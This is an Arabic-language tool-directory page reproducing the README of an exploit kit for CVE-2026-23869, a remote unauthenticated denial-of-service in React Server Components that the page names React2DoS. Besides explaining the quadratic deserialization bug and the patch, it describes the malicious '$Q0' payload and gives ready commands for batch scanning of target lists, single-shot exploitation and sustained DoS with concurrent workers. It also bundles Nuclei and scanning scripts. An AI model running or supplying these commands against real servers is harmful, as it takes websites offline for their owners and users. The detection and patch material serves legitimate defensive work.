Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
الاستطلاعماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

أداة استغلال آلية لـ CVE-2026-23869، وهي ثغرة رفض خدمة (DoS) عن بُعد في مكونات خادم React. تتضمن PoC، وقالب Nuclei، ونصوص برمجية للمسح الضوئي للكشف والاستغلال.

عرض المستودع
9112منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

رفض الخدمة عن بُعد غير مصادق عليه عبر بروتوكول React Flight
استنزاف CPU تربيعي في إلغاء تسلسل خريطة مكونات الخادم

نظرة عامة • كيف يعمل • الأدوات • التثبيت • الاستخدام • Nuclei • الإصلاح • إخلاء المسؤولية


نظرة عامة على الثغرة

الحقلالتفاصيل
معرف CVECVE-2026-23869
الاسم المستعارReact2DoS
درجة CVSS7.5 (عالية)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (استهلاك موارد غير منضبط)
النوعرفض خدمة عن بُعد غير مصادق عليه
اكتشفهاYohann Sillam (Imperva Threat Research)
المتأثرreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
تم التصحيحReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

توجد ثغرة حرجة لرفض الخدمة في إلغاء تسلسل بروتوكول Flight لمكونات خادم React. يمكن لمهاجم غير مصادق عليه إرسال طلب HTTP واحد مصمم خصيصًا إلى أي نقطة نهاية Server Action في Next.js App Router، مما يتسبب في استنزاف CPU تربيعي O(n²) يقفل الخادم لدقائق.

المراجع

  • الاستشارة الرسمية من Vercel
  • التحليل الفني من Imperva — "React2DoS"
  • PR تصحيح React #36236
  • إدخال NVD

كيف يعمل

الخلل: علامة consumed المفقودة في إلغاء تسلسل الخريطة

يستخدم بروتوكول React Flight علامات خاصة لتسلسل أنواع البيانات. يمثل $Q كائن Map. عندما يستقبل الخادم حمولة تحتوي على علامات $Q0 ذاتية المرجع:

Payload: [ [1,1], [1,1], ...(n إدخالات صالحة)..., "$Q0", "$Q0", ...(n مراجع)... ]

كل $Q0 يطلق مُنشئ new Map() الذي يتكرر عبر جميع الإدخالات الصالحة n. يرمي مُنشئ Map خطأً (لأن الإدخالات غير صالحة)، لكن الخلل الحرج هو: علامة consumed لا تُضبط أبدًا عند الفشل.

هذا يعني أن $Q0 التالية تعيد حساب نفس الخريطة تمامًا من الصفر → مما يخلق تعقيدًا O(n²):

n إدخالات صالحة × n مراجع $Q0 = n² استدعاءات لمُنشئ Map

مثال: 65,000 × 65,000 = 4,225,000,000 عملية
النتيجة: طلب واحد يقفل CPU لمدة 5-10+ دقائق

تدفق الهجوم

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ المهاجم  │ ──────────────────────────────────────▶ │  خادم Next.js   │
│          │     الترويسة: Next-Action: <action_id> │                  │
│          │     الجسم: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% مقفل      │
└──────────┘                                        │  لمدة ~5-10 دقائق│
                                                    └──────────────────┘

الكود الضعيف (قبل الإصلاح)

// ReactFlightReplyServer.js — قبل التصحيح
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← يفشل لكنه لا يضبط consumed = true
                         //   التالية $Q0 تعيد الحساب من الصفر
}

الكود المُصحح (بعد الإصلاح)

// ReactFlightReplyServer.js — بعد التصحيح (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← الإصلاح: ضبط العلامة قبل البناء
  return new Map(data);  //   يمنع إعادة الحساب المتكررة
}

الأدوات المضمنة

الملفالوصف
poc.pyأداة استغلال آلية بالكامل مع خط أنابيب من 4 مراحل (استطلاع ← استخراج ← كشف ← استغلال)
CVE-2026-23869.yamlقالب كشف Nuclei مع تنسيق قائم على التدفق
scan.shسكربت غلاف: تصفية httpx للمواقع الحية + فحص nuclei
extract-action-ids.shمستخرج مستقل لمعرفات Server Action

التثبيت

# استنساخ المستودع
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# تثبيت تبعية Python
pip install requests

# جعل السكربتات قابلة للتنفيذ
chmod +x poc.py scan.sh extract-action-ids.sh

التبعيات الاختيارية

# لفحص قالب Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# لتصفية الأهداف الحية
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

الاستخدام

🔥 فحص تلقائي كامل (هدف واحد)

فقط أعطِ الرابط — الأداة تفعل كل شيء تلقائيًا:

python3 poc.py -u https://target.com

ماذا يحدث:

  1. المرحلة 1 — الاستطلاع: بصمة Next.js (الترويسات، علامات HTML، معرف البناء)
  2. المرحلة 2 — الاستخراج: العثور على معرفات Server Action من حزم JS
  3. المرحلة 3 — الكشف: فحص آمن قائم على التوقيت للثغرة (اختبار 500 إدخال)
  4. المرحلة 4 — التقرير: عرض حكم الثغرة مع تحليل التوقيت

📋 فحص دفعة (أهداف متعددة)

# فحص قائمة من النطاقات/عناوين IP
python3 poc.py -L targets.txt

# مع إخراج تقرير JSON
python3 poc.py -L targets.txt -o results.json

🎯 الوضع اليدوي (معرف Action معروف)

# كشف آمن فقط
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# استغلال بطلقة واحدة
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS مستمر (10 عمال)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 استخراج معرفات Action فقط

python3 poc.py -u https://target.com --extract

⚙️ جميع الخيارات

Options:
  -u, --url URL          رابط الهدف (هدف واحد)
  -L, --list FILE        ملف يحتوي على روابط/عناوين IP للأهداف (واحد لكل سطر)
  -a, --action-id ID     معرف Server Action (تخطي الاستخراج التلقائي)
  --detect               الكشف فقط — آمن وغير مدمر (افتراضي)
  --single               استغلال بطلقة واحدة بعد الكشف
  --exploit              DoS مستمر بعد الكشف
  --extract              استخراج معرفات Action فقط
  -l, --length N         إدخالات الحمولة (افتراضي: 130000)
  -w, --workers N        العمال المتزامنون (افتراضي: 5)
  -d, --delay SEC        التأخير بين الطلبات (افتراضي: 1.0)
  -o, --output FILE      حفظ تقرير JSON
  -t, --threads N        الأهداف المتزامنة لفحص القائمة (افتراضي: 3)

التوافق مع الإصدارات السابقة

صيغة PoC الأصلية لا تزال تعمل:

python3 poc.py <ACTION_ID> <URL>

قالب Nuclei

فحص سريع

# هدف واحد
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# أهداف متعددة
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# إخراج نظيف (نتائج الثغرات فقط)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

ملاحظة: علامة -itags dos مطلوبة لأن Nuclei يستبعد قوالب DoS افتراضيًا لأسباب تتعلق بالسلامة.

تدفق كشف القالب

الطلب 1 (GET /)     →  بصمة Next.js (الترويسات + علامات HTML)
الطلب 2 (GET /)     →  استخراج معرفات Server Action من createServerReference()  
الطلب 3 (POST /)    →  طلب توقيت أساسي (حمولة غير ضارة)
الطلب 4 (POST /)    →  اختبار الاستغلال (250 صالحة + 250 إدخال $Q0)
                         └─ إذا كان وقت الاستجابة ≥ 3 ثوانٍ → ضعيف

سكربت الماسح التلقائي

# يشغل httpx → يصفّي الأهداف الحية → فحص nuclei → النتائج
./scan.sh

# أو حدد ملفات مخصصة
./scan.sh targets1.txt targets2.txt

منطق الكشف

تستخدم الأداة الكشف القائم على التوقيت لتحديد الخوادم الضعيفة بأمان:

تنزيل الأداة